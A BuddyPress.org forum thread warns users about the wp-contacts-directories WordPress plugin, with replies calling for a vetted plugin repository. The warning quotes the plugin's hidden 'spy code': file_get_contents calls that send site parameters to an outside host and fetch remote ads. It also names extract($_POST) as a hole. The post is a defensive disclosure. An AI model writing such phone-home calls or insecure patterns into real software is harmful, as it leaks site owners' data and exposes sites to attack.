Topic: Security warning · BuddyPress.org

Skip to:: Content; Pages; Categories; Search; Top; Bottom

Security warning

@chouf1

Participant

14 years, 9 months ago

Hi BP people,

i want to warn you against wp-contacts-directories plugin. This plug is recently updated and works with WP and WPMU/BP…. If you already use it, uninstall it.

If you know what you do, take care of it because this plugin contains many security holes (for ex. extract($_POST);…) and a spy code line 556 to 562 who contains something like this:

$res = file_get_contents("http://ahlul.web.id/tools/plugcheck/?n=$n&h=$h&m=$e");

in another if statement, line 577, we find :

$output = file_get_contents("http://ahlul.web.id/tools/plugads/wpcontact.php");

This is illegal as far as i know…

Anyway this is a perfect example of what not to do in matter of security, php and open source coding.

Of course i also post this on the WP forum.

http://wordpress.org/support/topic/379688

Viewing 4 replies - 1 through 4 (of 4 total)

@hnla

Participant

14 years, 9 months ago

Hmm available for all in the main WP plugin repository, this is what’s not great about all and sundry banging out plugins without any apparent checks in place, most users haven’t a clue what they are installing really.

Think it’s been mentioned in general before but there really needs to be a sanctioned, vetted, approved plugin repository where at least users can be directed and assured of reasonable security then it’s a case of install plugins from elsewhere and on your own head be it.

@chouf1

Participant

14 years, 9 months ago

I am very surprised at the lack of feedback from the community to this kind of warning ! What a deafening silence…

@hnla

Participant

14 years, 9 months ago

It’s an odd response.. or lack of

I’d kind of like to hear that a project that is getting as mature as WP (this isn’t really a BP issue after all) would be considering this aspect of plugin authoring and placing some form of control or seal of approval on certain plugins

@peterverkooijen

Participant

14 years, 9 months ago

Thanks for the warning!

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Security warning’ is closed to new replies.